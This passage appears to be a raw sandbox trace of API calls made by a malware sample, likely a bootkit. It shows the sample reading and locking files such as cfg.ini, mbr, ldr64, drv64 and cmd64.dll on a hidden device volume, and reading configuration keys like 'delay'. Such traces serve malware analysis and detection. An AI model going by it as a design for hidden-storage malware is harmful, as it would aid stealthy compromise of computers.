(FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdab30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.684] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.684] KeLeaveCriticalRegion () [0119.684] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.684] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.684] KeEnterCriticalRegion () [0119.684] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.684] ExFreePoolWithTag (P=0xfffffa8003bcad60, Tag=0x0) [0119.684] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.684] KeLeaveCriticalRegion () [0119.684] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.684] ReleaseMutex (hMutex=0xf0) returned 1 [0119.684] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.684] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.684] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.684] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.684] KeEnterCriticalRegion () [0119.684] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.684] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.684] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.684] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.684] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.684] IdePortDispatch () returned 0x103 [0119.686] KeWaitForMutexObject () returned 0x0 [0119.686] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.686] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.686] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.686] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.686] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.686] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.686] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.686] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.686] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.686] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.686] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.686] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.686] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.686] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.686] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.686] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.686] KeLeaveCriticalRegion () [0119.686] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.686] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.686] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.686] KeEnterCriticalRegion () [0119.686] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.686] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.686] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.686] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.686] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.686] IdePortDispatch () returned 0x103 [0119.686] KeWaitForMutexObject () returned 0x0 [0119.687] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.687] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.687] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.687] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.687] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.687] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.687] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.687] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.687] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.687] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.687] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.687] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.687] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.687] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.687] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.687] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.687] KeLeaveCriticalRegion () [0119.687] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.687] ReleaseMutex (hMutex=0x100) returned 1 [0119.687] Sleep (dwMilliseconds=0x2bf20) [0119.688] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a884cd0, dwHighDateTime=0x1d24fa4)) [0119.688] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.688] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.694] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.694] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.694] KeEnterCriticalRegion () [0119.694] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.694] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.694] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.694] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.694] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.694] IdePortDispatch () returned 0x103 [0119.694] KeWaitForMutexObject () returned 0x0 [0119.694] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.695] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.695] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.695] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.695] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.695] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcadb0 [0119.695] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.695] KeLeaveCriticalRegion () [0119.695] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.695] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.695] KeEnterCriticalRegion () [0119.695] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.695] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.695] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.695] KeLeaveCriticalRegion () [0119.695] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.695] KeEnterCriticalRegion () [0119.695] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.695] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.695] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.695] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.695] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.695] IdePortDispatch () returned 0x103 [0119.695] KeWaitForMutexObject () returned 0x0 [0119.695] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.695] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.695] KeLeaveCriticalRegion () [0119.695] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.695] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.695] KeEnterCriticalRegion () [0119.695] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.695] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003485000 [0119.695] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.695] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.695] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.695] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.695] IdePortDispatch () returned 0x103 [0119.696] KeWaitForMutexObject () returned 0x0 [0119.696] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.696] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.696] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.696] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.696] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.696] IdePortDispatch () returned 0x103 [0119.696] KeWaitForMutexObject () returned 0x0 [0119.696] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.696] KeLeaveCriticalRegion () [0119.696] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.696] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.696] KeEnterCriticalRegion () [0119.696] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.696] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.696] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.696] KeLeaveCriticalRegion () [0119.697] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.697] KeEnterCriticalRegion () [0119.697] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.697] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.697] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bccf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.697] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.697] KeLeaveCriticalRegion () [0119.697] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.697] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.697] KeEnterCriticalRegion () [0119.697] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.697] ExFreePoolWithTag (P=0xfffffa8003bcadb0, Tag=0x0) [0119.697] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.697] KeLeaveCriticalRegion () [0119.697] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.697] ReleaseMutex (hMutex=0xf0) returned 1 [0119.697] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.697] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.697] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.697] KeEnterCriticalRegion () [0119.697] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.697] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.697] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.697] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.697] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.697] IdePortDispatch () returned 0x103 [0119.697] KeWaitForMutexObject () returned 0x0 [0119.697] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.697] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.697] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.697] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.697] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.697] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bca510 [0119.697] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.697] KeLeaveCriticalRegion () [0119.697] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.697] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.698] KeEnterCriticalRegion () [0119.698] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.698] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.698] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.698] KeLeaveCriticalRegion () [0119.698] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.698] KeEnterCriticalRegion () [0119.698] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.698] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.698] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.698] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.698] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.698] IdePortDispatch () returned 0x103 [0119.698] KeWaitForMutexObject () returned 0x0 [0119.698] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.698] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.698] KeLeaveCriticalRegion () [0119.698] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.698] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.698] KeEnterCriticalRegion () [0119.698] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.698] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003486000 [0119.698] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.698] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.698] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.698] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.698] IdePortDispatch () returned 0x103 [0119.698] KeWaitForMutexObject () returned 0x0 [0119.698] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.698] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.698] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.699] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.699] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.699] IdePortDispatch () returned 0x103 [0119.699] KeWaitForMutexObject () returned 0x0 [0119.699] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.699] KeLeaveCriticalRegion () [0119.699] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.699] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.699] KeEnterCriticalRegion () [0119.699] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.699] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.699] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.699] KeLeaveCriticalRegion () [0119.699] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.699] KeEnterCriticalRegion () [0119.699] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.699] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.699] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bccdd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.699] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.699] KeLeaveCriticalRegion () [0119.699] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.699] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.700] KeEnterCriticalRegion () [0119.700] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.700] ExFreePoolWithTag (P=0xfffffa8003bca510, Tag=0x0) [0119.700] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.700] KeLeaveCriticalRegion () [0119.700] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.700] ReleaseMutex (hMutex=0xf0) returned 1 [0119.700] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.700] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.700] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.700] KeEnterCriticalRegion () [0119.700] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.700] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.700] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.700] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.700] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.700] IdePortDispatch () returned 0x103 [0119.700] KeWaitForMutexObject () returned 0x0 [0119.700] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.700] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.700] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.700] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.700] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.700] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bca8a0 [0119.700] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.700] KeLeaveCriticalRegion () [0119.700] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.700] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.700] KeEnterCriticalRegion () [0119.700] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.700] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.700] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.700] KeLeaveCriticalRegion () [0119.700] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.700] KeEnterCriticalRegion () [0119.700] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.700] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.700] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.701] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.701] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.701] IdePortDispatch () returned 0x103 [0119.701] KeWaitForMutexObject () returned 0x0 [0119.701] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.701] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.701] KeLeaveCriticalRegion () [0119.701] 